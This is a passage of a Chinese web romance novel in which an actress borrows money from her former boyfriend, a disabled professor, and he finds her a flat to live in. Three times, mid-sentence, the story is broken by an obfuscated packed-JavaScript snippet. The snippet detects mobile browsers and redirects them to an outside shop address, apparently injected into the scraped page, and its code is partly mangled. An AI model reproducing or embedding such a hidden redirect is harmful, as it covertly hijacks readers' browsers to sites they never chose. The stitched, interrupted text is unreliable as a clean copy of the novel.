顾远长吁一声:“——就这,已经赶上我半个月绩效了。”他用手肘碰了碰靳子煜:“M是哪个同学?” 头像是一片积雪覆盖的建筑,看着冷冰冰的。哎?这景致有点眼熟,不正是他们宜平世纪广场俯拍图吗? 靳子煜没接他的问题,反而问:“你刚才前面说了什么?” “五千?” “不是。” “小胡子?” “不是。” 顾远龇了龇牙:“法拉利、兰博基尼?” 靳子煜提示:“你刚说,谁住院了?” 顾远哑然。好家伙,别人都在高速上飙车了,他这儿居然一个急转弯掉头了。 —— 另一边,孟秦书迟迟等不到靳子煜的回复,窘迫与羞赧交织,令她坐立难安。整张脸烧得厉害,连握着手机的掌心都沁出一层薄汗。 她将自己滑进空调被里,揪起被角,蒙头盖住。 都说网络害人……太丢脸了,往后还怎么面对靳子煜? 这个念头戛然而止。孟秦书在被子中僵了僵,转念又想——自己不是做过比这更可耻的事吗? 约莫又过了五分钟,手机嗡嗡两下,孟秦书一个鲤鱼打挺坐起身,拨开散落的发丝,屏息看向屏幕。 靳子煜的回复只有一行字: [可以。现在方便出来见面吗?] 见面? 是要她当面写借条吗? 也对,正经的借钱流程。 孟秦书动了动发僵的手指,敲下回复: [方便。地点你定。] 7. 第 7 章 靳子煜让她定碰面的地点,说他开车方便。 孟秦书一边往衣帽间走,一边飞快地打字:[百胜路到底,原人民影院后面。] 男人回了个“好”。她盯着屏幕等了片刻,再无下文,便将手机随手搁在旁边的隔层上。双手抓住睡衣下摆,向上掀起,脱了下来。 左侧的全身镜光洁如新,映出她肋骨下方那片玫瑰纹身——花瓣饱满殷红,可若细看花心处,却藏着一个拇指大小的、形状古怪的疤。 那是八岁那年被家里那只烈性犬罗威纳咬的,当时两个血洞几乎对穿皮肤,汩汩冒血,血水很浸透身上的白裙子。 在经过多次整形手术后,较浅的洞完全看不出痕迹,较深的洞无论多少次修补仍残留痕迹。 她曾在靳子煜家的卫生间里,与他讲起这道疤的来历。 灯光幽黄,影子黯淡,他穿着的海水蓝T恤,贴身站在她身后,身体散出的温热熨着她雪白的肌肤。 全身镜中的他眼底溢满疼惜,粗粝的指腹极轻地摩挲着她的陈年旧疤。 “在没遇到你之前,我无数次地想我的人生,未来的每一天是不是只能像......被狗咬很痛但也只能忍着,忍到这辈子结束。” 指尖所及,带起细密的酥痒,它如同电流般在身体里四处乱窜,直至四肢百骸, 她转过脸,深深望进他眼里。 他总是这样,某种情绪上来,眼尾会先红透。 柔软的唇蹭压着她的耳垂,嗓音沙而哑:“小书,我会永远爱你的,永远,永远,永远。”他一遍遍承诺。 靳子煜从不说谎话。他可以为她死,所以她相信他。 “子煜,吻我好不好?”她声音潮湿近乎诱哄。 空气中熟悉的薄荷香缭绕过来,侵入她敏感的鼻腔。 他亲吻她的眼睛,接着鼻梁、眉心、唇瓣,再顺势滑至下颌,细碎的吻如黑暗中的火星,烫得人面红心跳。 她再也抑制不住地,轻哼出声。 一指宽的浅黄色真丝吊带,在灯下泛出莹莹光泽。 如同踩在松软的云层,脚下虚浮,她旋即转身,靠入他怀中,环住他沟/壑分明的腰身。 狭窄的卫生间窗户紧闭,沉闷的空气滚动地发酵,令人的呼吸淤滞、不畅。 他站不住地往后跳退两步,脊背结结实实地撞上冰凉潮湿的瓷砖。 “你疼——”吗? 话未说完,便被他更深的吻堵住。 大掌轻柔地落在她细腻丝//滑的背上,带着潮热的温度,它仿佛要顺着全身血液流动至心脏。 而在贝齿被温柔撬开的瞬间,她报复性的咬了下他的舌根。 ...... 啪嗒一声。 手中的房卡掉在了地板上。 孟秦书弯身拾起,退到门外,抬手轻轻拉起房门。 影院距酒店不足五百米。穿过马路,绕过人影幢幢的广场,再经过一条细长的巷道,不过几分钟便到了。 路灯在头顶洒下昏黄的光,影子蜷在脚边。宽大的帽檐遮住眉眼,在脸上投下一大片暗影。 快十点了。与车流不息的主干道相比,这条小巷静得可以听见自己的呼吸声。 手机屏幕亮了下。 靳子煜发来信息:[到了] 刚看完信息,缓慢有力的脚步声混合一下接一下的的手杖点地声,往这里过来。 她蓦地抬起雪白的下巴,循着声音,脸转向左边。 看见了他。 他换了身衣服,上身是黑色POLO短袖,下身黑色休闲长裤。一袭黑衣将人衬得愈发修长,也让他裸露在外的肌肤显得格外冷白,像覆着雪的松枝,清冽而料峭。 目光相触,谁都没有移开。她仿佛听见心脏“咯噔”一声,像从高处坠入冰湖,溅起锋利冰渣。 白天想说的好久不见,被嘈杂的场景和突然的事件打乱,与她曾经设想过的无数次重逢天差地别。 可此刻,夜深人静,灯火阑珊。所有在白日里被匆忙掩埋的情绪,细密如蚁噬的痛楚,终于在这个只有他和她的空间里泛滥开来。 靳子煜站定在她面前。月光与灯光交错成透明的纱盖在他身上,勾勒出他影绰的修拓身形。 砰砰、砰砰。 是她自己的心跳。 “好久……不见。” 这句在心底重复过千万次的问候,终于说出口。他会如何回应?是维持体面地跟一句“好久不见,还是淡漠刻意地问一句—— “你哪位?” 黑色扙身折射出清冷的月芒,忽明忽暗。 靳子煜捏紧手柄,手杖微不可见地改变了方向,可能连他自己都不知道。 灯光照不进帽檐下,即使孟秦书仰着脸,但那双细长灵动的眼仍被掩去了几分光华。 靳子煜眨了眨眼睛,没有与她客套寒暄,开门见山:“我来是确认是不是你本人,没问题了,现在我把钱转给你。” 孟秦书一听,急忙从裤子口袋里掏出已经准备好的A4纸张大小的借条,展开,双手递过去:“你看下。” 靳子煜将手杖换到左手上,伸手接过,再用两只手各捏住纸张一边,展开借条,无声默读。 孟秦书看着他,很难将这个冷淡的男人和记忆里阳光温柔的少年重叠。 他的嘴角忽然搐了一下,抬眼迎上她的视线,深黑的瞳孔里浮起一层复杂的、欲言又止的晦涩。 孟秦书读懂了那未出口的诘问——五千块钱,还要分六期还?你如今……竟到这般境地了么? 她想,靳子煜会不会觉得痛快?看,这就是当初玩弄他该付出的代价。 “可以吗?” 三年演艺生涯,模式化的演技已刻入日常,她不自觉便演了起来,真心难免掺进几分假意。 她想,自己此刻的表情一定是楚楚可怜的。 靳子煜将纸重新对折,收进裤袋,再掏出手机。屏幕的光照亮他深刻立体的五官。 鸦黑的睫毛一扇一扇,泛着淡黄色的柔光。 指尖在屏幕上轻点两下。 孟秦书手心里的手机嗡了两声,她抬手查看。 愣住。 数字“5”后面跟着的,不是三个零,而是四个。 个、十、百、千、万。 她又默数一遍。 是五万。 恰有人从他身旁经过,孟秦书压低帽檐,待人走远,才仰起脸,小声说:“靳——你,你借多了。” 靳子煜不动如山,眸光似乎闪了闪。从白天到现在,他总是不认真看她,孟秦书讨厌在他这里得不到重视的感觉。 可在这段感情里,靳子煜才是真正的受害者,他有理由生她的气。 她心口隐隐作痛——这是她活该。 沉默蔓延了片刻,靳子煜启唇,语气微沉:“年化利率按3.5%计算,六个月后本息一并归还。具体金额明天我会发正式协议给你,彼此都清楚。” 孟秦书前一秒还陷在感动与自责的漩涡里,连道歉的话都已滚到嘴边,下一秒却被他这副公事公办的腔调噎住。 他倏然转身:“时间不早了,我先回去了。”说完,便朝来时的方向走去。 孟秦书拔腿去追,还没两步,他猛地停住,她差点撞上他的后背。 情急之下,她顺势抬起双臂,从他肘弯间挤进去,紧紧环住了他的腰。 靳子煜整个人僵住,高挑熟悉的背影瞬间冻结成一尊冰冷的雕塑,每一寸肌肉都绷得生硬。 她更用力地贴近,帽檐抵着他的背。索性抬手摘掉帽子,往旁一扔,而后不管不顾地将脸颊全然埋入他温热的背脊: “子煜。” 远处的喧嚣仿佛被按下暂停键。 人声、车声消失了。 脚步声远去了。 整个空间里只剩下紊乱而急促的心跳,砰、砰、砰,被过滤出来。 靳子煜半阖着眼,目光落在那两条不断用力的手臂上。灯光将原本雪白的肌肤镀成淡黄,细腻得连微小的绒毛都依稀可见。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025921|194400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她的手臂太细了,像两截纤弱的芦秆。从前与她亲近时,他总不自觉地放轻力道,生怕稍一用力,便会伤着她。 某次孟秦书察觉他的小心,整个人缩进他怀里,笑得肩头轻颤,说他这样既傻气,又莫名可爱。 不知是不是错觉,他闻到了她身上的味道。她钟爱茉莉香,洗发水、沐浴露,乃至香水都会调进这种气味。以前他总喜欢将下颌搁在她发顶,那里香气最浓。 风渐起,靳子煜抬起眼,望向二三十米外的街口。那里不知何时多了一个花摊,摊主正弯着腰,耐心地为客人挑选花束。 “我们重新开始好不好?”她发颤的声音闷在他颈侧。 她身量高挑,穿上带跟的鞋,甚至能与他平视。从前在学校里,总有人笑说他们连身高都如此相配,但每句“相配”后面,总跟着一句未曾当着他面说出的转折——可惜靳子煜是个残疾人。 那个暴雨夜里,她扑进那个男明星怀中的画面,再度刺入脑海。 周围没有扛摄像机的摄影师,没有闪烁红灯的监视器,没有那些兢兢业业的工作人员。 靳子煜下意识地呼出一口气,垂在身侧、贴着裤缝的双手紧握成拳。真的看不懂孟秦书现在又想做什么:当年她让他滚,现在又说重新开始,是因为被他借钱的行为感动了?还是发现他还是一如当年那样傻气? 其实,他至今仍被一个问题困囿——她当年,究竟看中他什么了? 夜雾与光影在他们之间交错,视野从始至终迷离不清,恰如他们之间。 “孟秦书。” 靳子煜连名带姓地叫她,他自觉语气还算平和,“我们之间,不是按下暂停键的电影,暂停六年还能接着播,而是烧毁的碟片无法重映。” 他欲转身,孟秦书有所感知,渐渐放松了手中的力道。 转过身后,他垂下眼睫,注视着她闪着碎光的眼睛,这次很郑重。 孟秦书红唇微启,似还想说什么,靳子煜先一步续道:“我不恨你。但‘不恨’和‘能重新开始’,是两回事.....就像截肢后那处伤口会长好,但腿不会长回来这是生理事实,不是情感选择。” 话音落。他轻易地扒开她早已松动的手臂,转过身,毫无留恋地走向灯火辉煌的街口。 —— 次日,靳子煜的电子借款协议发来时,孟秦书还未收那五万元转账。 她动了动纤白的手指,点开协议。里面将利息、延期违约金、特殊情况等等,写得一清二楚。 最后一页借款人处已签好:靳子煜。 笔迹工整,勾画圆融,很有他的个人风格。 既然他们什么都不是了,他又为什么借她钱呢? 转念一想,她现在是个连五千块都要分六期还的人,任谁看了恐怕都会生出几分恻隐,更遑论靳子煜这样天性纯良,对世界充满善念的人。 单人病房里弥漫着消毒水的气味,血氧仪“滴滴”的声响持续不断。孟秦书的视线从手机屏幕上抬起,正对面那张病床上,躺着她的养父孟博清。 六年前,独生女因车祸去世,破产、欠下巨债,妻子随后改嫁……接连的打击彻底击垮了他。 他将自己“关”在疗养院里,闭门不出。然而两年前,又查出脑内胶质瘤。孟博清早就不想活了,那时不愿治疗,是在她逼迫加威胁下,才不情不愿地去了京市做手术。 而今,复发了。大抵是他的命吧。 孟秦书复又低头,手机识别到她的脸,自动解开屏锁。 手指一划,接收了那笔转账。 紧跟着,信息顶端出现“对方正在输入……”。 只是,过了好几分钟,仍显示着“正在输入”。靳子煜是有多少话想跟她说? 孟秦书敲出“谢谢”两字,刚要发过去,靳子煜的信息先一步弹出。 Yu:【你现在住哪里?】 孟秦书感到诧异,但还是删掉“谢谢,如实回复:【我住酒店】 Yu:【我给你找个房子吧。】 8. 第 8 章 周六一早,靳子煜被陈凡山打来的电话叫醒。 他火烧眉毛的:“怎么回事?到底行不行,你给个准话儿!?” 靳子煜另一只手撑了下床铺坐起靠着床头,因为刚醒嗓子哑得厉害:“什么事?” “别告诉我您才醒?”陈凡山陡然拔高音量,“都十点了!我八点手打了五百多字,您是一个字没看啊?” 靳子煜放下手机,划亮屏幕,先开了免提,再把通话界面缩到角落,点进微信找到陈凡山的聊天记录。 满屏绿色对话框里,密密麻麻的黑字盈满眼球。 陈大总裁大清早睡不着觉,来和他叙旧情、翻过往,列出一二三四条优厚条件,希望说服他辞掉工作,专心进公司带队。 陈凡山是靳子煜的大学同学,同专业。那时两人常在实验室埋头做实验,兴致勃勃地聊未来,久而久之成了朋友。 毕业后,陈凡山被家里安排去N国皇家经济学院进修,为接手家族企业做准备。四年前他学成归国,看准智能科技的前景,将集团旗下的海市分公司大刀阔斧改造,于三年前正式成立DlR智能医疗机器人公司。 靳子煜是同年二月份进的公司,他以技术入股,陈凡山给了他一个首席科学家的头衔,但因本职工作,靳子煜只幕后把握技术方向,必要时参加内部会议。 如今公司即将启动B轮融资,投资方要求一位可靠、可信的CTO。而靳子煜,无疑是目前最适合这个位置的人选。 陈凡山许他CTO高位,外多加五个点的股份。不用多久,他就能拥有私人实验室,教师公寓也能换成抬眼就能看见海景落地窗的大平层。 读完这长篇推心置腹、步步利诱的文字,靳子煜困意消散,视野清明起来。 电话那头,陈凡山还在不停输出,搬出谈判桌上那套——摆事实、戳痛点、画大饼、给愿景,最后打出感情牌。 并再次强调:“只要你点头进管理层,条件任由你开,学校?实验室?那儿能给你的,我这儿给你翻倍!” 见他仍是不为所动,陈凡山使起激将法:“子煜,敢不敢赌一把?把现在的二百万,三年,咱们把它变成两个亿。” 那两百万,是靳子煜去年的分红。 陈凡山说完,靳子煜等了半分钟,确认他没话了,方才平静告知:“我昨晚凌晨三点才到家。” “咔嗒”一声,陈凡山打开了金属打火机的翻盖。 只是再没下步动作。 约过了几秒,靳子煜不再同他打马虎眼,缓声与他讲:“我入股公司,是因为研发需要钱,团队要吃饭,这是现实。公司给我分红,我拿得心安理得,毕竟技术确实创造了价值。但两件事情需要分开看。” 东面墙上那扇飘窗,纱帘随风飘动,轻薄的日光穿透玻璃斜打在床头柜上,而那只放在桌面正中央的健康监测手表表盘边缘的黄灯不间断地跳动——它正在进行太阳能充电。 靳子煜敛眸对着屏幕接下去说:“公司只看结果,每一步都要计算投产比。可学校不是,学校允许一个人用两个月甚至更长时间,去亲手验证一个早就有答案的问题……老陈不一样的,带学生的目标是要让他们经历过完整的犯错、困惑、攻破,这个过程……” 他很轻地笑:“上周我带的一个学生,做了个特别天真的假设。按公司研发流程,第一轮就得毙掉。” 陈凡山转着打火机,很少有人再尝到了商业成功的好处还能坚持本心;靳子煜恰是另一类人,他们接受知识变现,却绝对不会分散精力去参与技术以外的任何事情。 “理解。”陈凡山笑说:“咱们这行,启动个项目动辄上亿,谁给我败家,毙了都是轻的。” 靳子煜会意一笑,感谢他的理解。 陈凡山无计可施了,叹了一声:“你啊……是怕进了公司,慢慢也变成我们这样的人……” 顿了下,又说:“挺好。”语气里掺杂了一丝拿他没办法的无奈。 靳子煜下午还有个会。他掀开被子,先放下左腿,在地面探了探,勾到拖鞋,又伸手取过靠在床头柜边的腋拐。 听见他这头的动静,陈凡山再度开口:“得,我不耽误你休息了。等我下周回来,一起吃顿饭。” 靳子煜低低“嗯”了一声。等对方挂断电话,他将手机搁回床头柜,撑起腋拐,缓步走进卫生间。 —— 整整一周,孟秦书都在三百公里外的B市拍戏,只要一闲下来,脑海里就反复回放着靳子煜发的那句“我给你找个房子”。 当时她想也没想就回了个“好”,现在却越想越懊恼——是不是显得太迫切了?太把自己当回事了?人家或许只是随口客气一句,没想到她竟半点没推辞,顺着杆子就往上爬。 靳子煜一个大学教授,每个月才多少钱?海市的物价又高,给她租房子,他还存不存钱,生不生活? 孟秦书认识的靳子煜物欲很淡,身上的衣服、鞋子常常穿到褪色,和破损。不过,若是他自己需要的东西,比方说一台很贵的笔记本或是某种精密器材,即使价格高到离谱,他也会想方设法地去买回来。 大学都鼓励学生自主创业,还提供不少平台,靳子煜对自己的人生有很清晰的规划,他从不考虑创业,将所有的心思都放在研究上面。 但他会不间断地去参加各种大型比赛,一些国内外大公司举办的计算机、机器人比赛,奖金丰厚,他每次都能得奖,也因此获得不少公司的青睐,当然也有很多公司会向出色的获奖者投来橄榄枝。 靳子煜回回都是婉拒的。 和她在一起后,靳子煜常常送她各种小礼物,给她买好吃的。室友很羡慕她,因为靳子煜送的都是值钱的东西。 而她本人对金钱也没什么概念,源于她六岁半到养父母家后,一切衣食住行他们都按照她们亲生女儿的规格来安排她的,她从来不缺钱,但手里也没有钱。 孟秦书在手机上搜索到2020年大学老师的年薪数据,数据在二十万上下,也不知是否可信。 她有些后悔向靳子煜开口借钱这件事。踏入社会的成年人总会思虑重重,不自觉地去衡量付出与回报是否对等。会担心借出去的钱能否收回,会斟酌这个人到底值不值得帮。 胡思乱想间,掌心手机一震,顶上弹出靳子煜发来的信息。 他接连发了五六张照片。 全是房子内部照片。 室内灯光是温暖的淡黄色调,好几处拱形门设计,开放式厨房与客厅相连,玻璃移门外是阳台,整体风格偏向简约北欧。 孟秦书正一张张仔细看,靳子煜的信息发了过来,她退出查看。 yu:【这套房子位于新园区江海路附近一个叫蔓亭里的小区,小区人车分流,绿化面积大,环境还不错。三室一厅,主卧、客厅、卫生间共用一个阳台,采光很好。】 新园区在海市东南角邻着蜿蜒的长江,那边落成不到十年,园区整体时尚、高端、环境优美,像一个缩小版的荷兰。 孟秦书没有立刻回复,而是点开搜索页面,查了一下该小区的租房行情。 当“租金6000元/月起”这行字赫然映入眼帘时,孟秦书指尖一抖。 还只是起步价。 靳子煜是疯了吗? 她记忆里的那个人,虽不吝啬,却从不会去消费远超出自己生活水平的东西。 孟秦书滑动屏幕,浏览同小区其他出租房源。照片里好几套房子的装修风格大同小异,浅色木地板、简约的定制柜、样式统一的灯具——显然是开发商统一精装交付的。 靳子煜的消息又弹出:【一个朋友的房子,距离你工作的地方不远。他平日空置,你可以搬进去过渡,不必有负担。】 朋友的房子? ......哪个朋友啊? 孟秦书拍了下自己的额头——这是她该细究的事么? 不过, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025922|194400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有句话怎么说来着这世上没有免费的午餐。那个朋友肯提供住房,靳子煜必定也给出了相应的“对价”。 远处,刚对完戏走回来的池俊恰好看见她这个孩子气的小动作,脚步不由一顿。 恍惚间,他似回到了那片姹紫嫣红的花田里,女孩举着一朵毛茸茸的蒲公英凑到他面前,鼓起腮帮子用力一吹。 细白的绒籽如初雪般散开,拂过他的睫毛与脸颊,还带着阳光晒过的清亮笑声。 如泉水叮咚。 —— 下午两点回到海市,孟秦书先去疗养院看昨天闹着出院的孟博清。 经历两次开颅手术,他的认知出现了问题,竟不认得她。人也像孩童似的,不听话,总挣扎着要下床回家。 贴身照料他的两位男护工一边按着他的肩膀,一边你一言我一语地向她解释。医生说,很多脑部手术后的病人恢复期都会出现类似状况,大部分过段时间会慢慢好转。 但这个“过段时间”是多久,谁也说不准。 孟秦书在旁边的陪护椅上坐下,转头看向剃了光头,表情扭曲的男人。在她眼中,养父身材高大,不怒自威,又兼具儒商风范——他是三十多年前的省文科状元,文学涵养极深,既可温文尔雅,也可在商海中从容周旋。 哪怕把自己关在疗养院,也照样将自己收拾的一丝不苟,现如今却变成这副狼狈不堪的样子,若是让他自己知道,怕是又要气得说“不如去跳黄浦江”。 孟秦书看不下去,遽然抬高声音:“躺回去,现在!” 孟博清身体猛地一顿,扭过脸来,对上她严厉的目光。许是她的神色太过震慑,他竟真的停下了推搡护工的动作,低下头去,肩膀微微垮着,一副受了天大委屈的模样。 意识到自己语气太重了,她声音放软下来:“爸爸,我们听话好不好?” 伸手,轻轻牵起被子一角,她低声哄道:“我们躺下,让护工把床摇起来些,看看电视好不好?” 干涸起皮的两片嘴唇轻轻颤抖着,一声含糊的“好”,从唇缝间低低逸了出来。 孟秦书在这边坐了半个多小时,走时使了个眼神,将其中一名护工叫出来,两人一前一后走至长廊尽头。 到了下午起了东南风,可能是要下雨,铅灰色的云层在太阳表面缓缓游移,光影朦胧,如烟似雾。 护工告诉她,孟博清闹着回家,否则对他们又踢又打,刚巧许文芳来看他,奇怪的是孟博清不认识其他人,就认识前妻。 因拗不过这个生病的男人,许文芳以妻子的名义给他办理了出院手续,亲自送他回了疗养院。 孟秦书听笑了,心里那点困惑也随之解开。 六年前妹妹熙然车祸身亡,许文芳悲痛欲绝,半年间精神恍惚,一见孟博清便又踢又打,将他赶出家门。熙然的死,同样击垮了孟博清。正是那段他最为脆弱、失察的时期,给了他那位最信任的副手可乘之机。 那位朋友先是煽动、挖走核心团队,接着,又以“共渡难关”为名,诱使孟博清签署了极其严苛的对赌协议,最后再联合外部资本做局,用了不到一年时间,便让孟博清个人信用彻底破产,公司股权被司法拍卖,而这位朋友立刻摇身一变成了集团实际控制人。 这些话,都是后来孟博清与许文芳再度争吵时,被待在二楼的她听去的。 孟秦书思绪回归,想起另一件事,问护工:“你刚才说前天上午有个陌生的男人来病房看过我爸爸?” 听着护工叙述,她微微侧过脸,窗缝间飘来的雨丝恰好拂过脸颊。她抬手去关窗,垂眸时,瞥见楼下停车场里靳子煜正斜倚着车门打电话。 和一周前见面时不同,他今日梳了三七分的背头,穿着妥帖的白衬衫,将身形衬得更修长挺拔,如芝兰玉树,俨然一派温文从容学者气度。 “那位先生那张脸长得特别俊,个子也特别高,他的腿应该是受伤了,走路有点跛.....” 9. 第 9 章 靳子煜从学校出来没直接去曼婷里而是先来疗养院看恩师。他抬起手腕,看了眼腕表,15:52,孟秦书这时候该快到海市了。 早上两人约好16:30在曼婷里正门口碰面,带她先看看房子。 时间差不多了。靳子煜收起手机,转身拉开车门,侧转坐下,先将戴着智能假肢的右腿搬进去放好,往里调整了两下位置,再顺势将左腿带进车内。 就在他垂眸按下启动键时,一道深灰色的身影从正前方大堂那扇窗后掠过。 只是他并未察觉。 孟秦书从侧门出来,抬手拦下一辆出租车。她拉门,坐进后座,车门一关,她就着车内后视镜推了推黑框眼镜,再从防晒外套口袋里掏出黑色口罩,仔细戴好。 宝蓝色保时捷从旁开过,比出租车更快汇入车流。 孟秦书回头对司机请求:“师傅,麻烦开慢点。” —— 孟秦书从出租车上下来,抬手关上车门。转身的瞬间,余光冷不防瞥见,靳子煜站在十步开外。 她动作一顿,两人的视线猝不及防地撞到一起。 男人眉眼浓郁,即使隔着微蒙的雨雾,那双漆黑眼瞳里漾开的笑意依然清晰可见。时隔多年再见到这样的笑,那笑意竟让她有刹那的恍惚。 只是那笑意并非因为她。他正握着手机贴在耳畔,也许是通话结束了,他嘴角那缕笑一点点淡了下去,像夜色吸纳最后一抹霞光。 睫毛上积了细碎雨珠,沉甸甸的。孟秦书轻轻眨眼,率先移开视线。 细雨无声,靳子煜朝她走来,一步,两步,三步.......站定在她面前。 孟秦书忽然觉得他们很符合那句话:看似很近,实则已隔万重山海。 “跟我来。”靳子煜瞧见孟秦书眼睛红红的。 心尖像被什么掐了一记。 他蜷了蜷握在手杖的手,似乎这样能将那不合时宜生出的痛意转移。 靳子煜的车停在保安亭进去那条大路旁边,右边车轮紧挨着草坪,避免影响其他车辆通行。 他们并肩来到车子旁边,靳子煜伸手拉开后座车门,孟秦书轻声道谢,弯身坐了进去。 靳子煜轻轻地关上车门,然后拉开驾驶位上的车门。 俯身时,他的余光不可避免地扫到孟秦书那双深亮的眼睛。 她正静悄悄地盯着他看。 靳子煜略微偏过头,坐进车内,一如往常一样安置双腿、调整姿势,最后系上安全带。 小区实行人车分流,所有车辆都需开进地库,这便是靳子煜让孟秦书在外面等待的原因。 车子在地库里七拐八拐到达了二十八栋501车位,靳子煜将车停好,熄火后拿起手杖,开门下车。 孟秦书已先一步站在车头前等候。 两人依旧沉默,一前一后走向电梯,直至停在了501门口。 靳子煜伸手输入密码时,孟秦书安静地打量着四周。 这一层是一梯两户。走廊约有两米宽,对门的502不仅将鞋柜摆在门外,还在正对面放置了一个大型边柜。柜门紧闭,看不出里面存放着什么。与501门口的整洁相比,显得很有生活气息。 “滴——” 门开了。 靳子煜说了声“不用换鞋”,然后侧让到一旁,请她先进去。 因着阴雨天气,室内光线昏暗。靳子煜进门后先打开了玄关灯。 孟秦书跟在他身后,看着他依次点亮客厅、主卧、客卧与两个卫生间的灯,领她粗略看了一遍,最后两人停在客厅中央。 孟秦书有些莞尔,觉得此刻的他像一位尽职的中介,而自己则是前来看房的租客。 提出看房本是靳子煜的意思,或许是担心实物与照片有所出入,会令她不满意。 可孟秦书心底纳闷,她对居住环境的喜好,他真的不清楚吗? 七年前的那个暑假,她曾在他家借住过整整一周。那是栋二十多年的老小区,外墙出现岁月的暗沉,里面的装修仍是十年前的风格。卧室里那张所谓的实木床,其实根本经不起动静,稍一翻身便吱呀作响;客厅的实木沙发坐上去,硬邦邦、凉飕飕,不是很舒服。 可她那时,还是很喜欢他的家。 下雨的关系,今天比往常天色暗的早,对面的那栋楼已有不少人家亮灯。靳子煜觉得身旁过于安静,便将目光从远处收回,轻投在孟秦书的侧脸上。 雪肤琼鼻,深琥珀色的眼眸。她无论从哪个角度看都是好看的。视线稍向下,便见到那两片不点而朱的唇瓣微微扬起,似乎心情还不错。 看来对这套房子是满意的。 靳子煜只觉得肩头一轻,不觉缓缓吁出一口气。 可这道微末的声音被孟秦书听了去,她转过脸来,不偏不倚,两人目光再度交汇。 空气仿佛悄然凝固,只余下彼此或轻或重的呼吸声。 —— 孟秦书在光可鉴人的电梯镜面中,看见自己和靳子煜沉默的身影。 她微微侧身,望向靳子煜认真说道:“我挺喜欢这里的,都不用添什么东西。卧室地板颜色是现在很流行橡木色,这套房子里所有柜子都是意大利的牌子,开发商还是挺良心的,主卧那张床应该是实木的——” “随时可以搬过来,密码我稍后发给你。”靳子煜温声打断她的话。 灯光落在他鼻梁那颗浅痣上,随着他转头的动作,光晕移向另一侧的颧骨。 “明天我让人送两张席梦思。”稍作停顿,他询问:“需要帮忙吗?” “不用,” 孟秦书握了握手机,瞥见电梯已降至二楼,“东西不多,我晚上再去淘宝选两套四件套,一并带过来就好。” 靳子煜唇角轻扬,没有接话。 孟秦书转回身,望向镜中自己那一头栗色长发。发丝轻盈,在明晰的光线下流转着绸缎般的光泽。 这得益于她每日两次的护理,以及每周一次的美容院深度养护。 其实她并不喜欢染发,但身为演员,总有些身不由己。她的头发天生带着自然卷,弧度恰到好处,只需稍加打理,便能衬得上那句“乌黑柔顺如海藻”般的形容。 从前靳子煜总爱用手指轻柔地梳理她的发丝。若是倚在他怀中,他便捻起一缕,温柔缠绕指间,有时还会轻嗅发梢,说那茉莉香气很好闻。 孟秦书从口袋里取出口罩戴好,唇角无声地弯了弯,觉得自己方才那没话找话的言语,实在有些拙钝。 可正所谓吃人嘴软、拿人手短,承了他这样厚的情,不自觉地便矮了一头,连说话都不自觉地少了几分底气。 怪只怪自己,偏要向他开口借钱。她用力回想当时是怀着怎样的心思,接受了他帮忙找房的提议。 当时她有五分欣喜:为靳子煜仍在意她过得好不好;另有三分顾虑:怕好不容易因借钱建立起的联系,会因自己的拒绝而令他起疑,进而察觉她其实并非真的困窘;最后的两分踌躇,是揣测他的好心是绅士风度还是对她的怜悯,是以勾得她想去验证。 便是加三分再加二分,让她一时脑热,接下了他的好意。 如今倒有些骑虎难下了。 电梯“叮”一声抵达负一楼。门向两侧缓缓滑开,在细微的机械声中,孟秦书依稀听见靳子煜低声说了句“实木的”。 走到车旁,靳子煜拉开副驾驶的门,侧首对身旁的孟秦书道:“坐这边吧。” “坐商务车习惯了,喜欢宽敞些,我还是坐后座吧。”孟秦书并非客套,说的确是实话。 靳子煜维持着开门的动作,眼底似有微光掠过:“好。” 一旁停着辆奔驰,靳子煜并未让开,孟秦书无法通过。 见他眼神似仍有话要说,孟秦书静默等待着。 “时间不早了,小区对面有家川菜馆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025923|194400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,吃了晚饭再回去?”他又补了一句:“有包厢。” 孟秦书点头:“正好我也饿了,这顿饭我请。” 靳子煜既借她钱,又替她找房,不请他吃顿饭实在说不过去。 就这样说定。车子驶出小区,停在川菜馆后的公共停车场上。 站岗的服务员拉开玻璃门,他们还未踏入,就被一股混合着花椒焦香、辣子鸡与麻婆豆腐的热浪袭脸。 孟秦书很久没来这样的餐馆了。趁靳子煜在前台与服务员交谈的间隙,她抬眼望去—— 大厅里只余一条窄窄的过道,方桌与圆桌密集排开,张张满座。身着红衣黑裤、头戴同色三角巾的服务员,端着热气蒸腾的盘碗,在仅容一人侧身通过的走道间快速穿行,口中不时提醒:“小心烫!借过!借过!” 打眼细看,食客中大半都是年轻人,虽穿着寻常衣服,可从他们恣意的笑闹与犹带稚气的脸庞上,大抵能猜出这些人多半还未成年。 